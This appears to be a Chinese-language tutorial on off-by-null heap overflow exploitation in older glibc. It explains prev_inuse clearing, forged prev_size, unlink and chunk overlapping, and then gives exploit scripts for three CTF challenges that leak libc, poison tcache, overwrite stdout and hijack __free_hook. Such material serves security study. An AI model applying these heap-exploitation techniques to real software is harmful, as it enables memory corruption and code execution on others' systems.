低版本off-by-null
字数 1375 2025-08-22 12:23:13
Off-by-Null 漏洞利用技术详解
一、Off-by-Null 漏洞概述
Off-by-Null 是一种堆溢出漏洞,特点是只能溢出单个 NULL 字节(\x00)。这种漏洞在特定条件下可以被利用来实现内存破坏和代码执行。
1.1 漏洞原理
当分配的 chunk 大小为 0x100 的整数倍时,溢出 NULL 字节会:
- 清空下一个 chunk 的
prev_inuse位(表示前一个 chunk 是空闲的) - 启用
prev_size字段
二、利用思路
2.1 可控制任意字节溢出的情况
- 通过修改 chunk 大小造成块结构重叠
- 利用重叠泄露其他 chunk 数据
- 利用重叠覆盖其他 chunk 数据
2.2 只能溢出 NULL 字节的情况
方法一:unlink 技术
- 先 free 前面的堆块
- 利用 NULL 字节溢出清空
prev_inuse位 - 伪造
prev_size字段 - 触发 unlink 操作造成 chunk 重叠
关键点:
- unlink 时只检查
next_chunk(p)的prev_size是否等于当前 chunk 的size - 不检查按照
prev_size找到的 chunk 的大小是否与prev_size一致
方法二:chunk overlapping
- 伪造
prev_size - 利用 chunk overlapping 将合并后的 chunk 放入 unsorted bin
- 通过切割 unsorted bin 实现信息泄露或进一步利用
三、利用技术细节
3.1 关键宏定义
#define next_chunk(p) ((mchunkptr) (((char *) (p)) + chunksize (p)))
#define unlink(AV, P, BK, FD) { \
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
malloc_printerr ("corrupted size vs. prev_size"); \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr ("corrupted double-linked list"); \
... }
3.2 版本差异
- 在 glibc 2.28 及之前版本,没有检查
chunksize(p) != prevsize - 最新版本加入了检查,使得第二种方法无法使用:
if (__glibc_unlikely(chunksize(p) != prevsize))
malloc_printerr("corrupted size vs. prev_size while consolidating");
四、典型利用模式
4.1 基本利用步骤
- 分配多个 chunk 构造特定内存布局
- 释放特定 chunk 填充 tcache/unsorted bin
- 利用 off-by-null 修改关键 metadata
- 触发 unlink 或合并操作
- 通过重叠 chunk 实现信息泄露或控制流劫持
4.2 具体利用案例
案例一:hgame week3 "你满了,那我就漫出来了!"
# 构造初始布局
add(0, 0xF8, b'a') # 后续会被free
add(1, 0x68, b'a') # 用于伪造prev_size
add(2, 0xF8, b'a') # 目标chunk
# 填充tcache
for i in range(3, 10):
add(i, 0xF8, b'a')
add(12, 0x68, b'a')
# 释放chunk构造unsorted bin
for i in range(3, 10):
delete(i)
delete(0)
delete(1)
# 伪造prev_size
add(1, 0x68, b'a'*0x60 + p64(0x170))
# 触发unlink合并
delete(2)
# 重新分配获取libc地址
add(0, 0x70, b'a')
add(2, 0x70, b'a')
show(1) # 泄露libc地址
# 后续利用
add(3, 0x68, b'a') # 现在chunk 1和3指向同一内存
案例二:DASCTF 2023六月挑战赛 can_you_find_me
# 构造初始布局
add(0x20, 'aaa\n') # 0
add(0x618, '\n') # 1 - 将被放入unsorted bin
add(0x4f0, 'xxx\n') # 2
add(0x20, 'aaa\n') # 3
# 释放并重新分配
dele(1)
add(0x440, '\n') # 1
add(0x60, '\n') # 4
add(0x158, b'a'*0x150 + p64(0x620)) # 5 - 伪造prev_size
# 触发合并
dele(1)
dele(2)
dele(4)
dele(5)
# 切割unsorted bin实现tcache poison
add(0x440, '\n') # 1
add(0x20, '\x60\x07' + '\n') # 2 - 修改tcache fd
add(0x60, '\n') # 4
add(0x60, p64(0xfbad1887) + p64(0)*3 + b'\x00' + b'\n') # 5 - 修改stdout泄露libc
案例三:ciscn2024华北 onebook
# 构造初始布局
add(0, 0x4f8, b'a')
add(1, 0xf8, b'a')
add(2, 0x4f8, b'a')
add(3, 0x20, b'a')
# 释放chunk
delete(0)
delete(1)
# 伪造prev_size
add(1, 0xf8, b'a'*0xf0 + p64(0x600))
# 触发合并
delete(2)
# 泄露libc
add(0, 0x4f8, b'a')
show(1)
# 后续利用
delete(0)
free_hook = libcbase + libc.sym['__free_hook']
payload = b'a'*0x4f8 + p64(0x101) + p64(free_hook)
add(0, 0x6f8, payload)
delete(1)
edit(0, payload)
五、防御与绕过
5.1 现代glibc的防御措施
- 对
prev_size和实际 chunk 大小的一致性检查 - 对 tcache 和 fastbin 的双重释放检测
- 对 unsorted bin 中 chunk 的完整性检查
5.2 绕过技巧
- 利用 tcache poisoning 实现任意地址分配
- 通过切割 unsorted bin 修改关键内存
- 结合其他漏洞如 UAF 增强利用效果
- 针对特定版本 glibc 的未修复漏洞
六、总结
Off-by-Null 是一种需要精细内存操作的漏洞利用技术,关键在于:
- 精确控制堆布局
- 巧妙伪造 chunk metadata
- 利用合并/拆分操作实现内存破坏
- 结合信息泄露和控制流劫持完成利用
掌握这些技术需要对 glibc 内存管理机制有深入理解,并通过大量实践积累经验。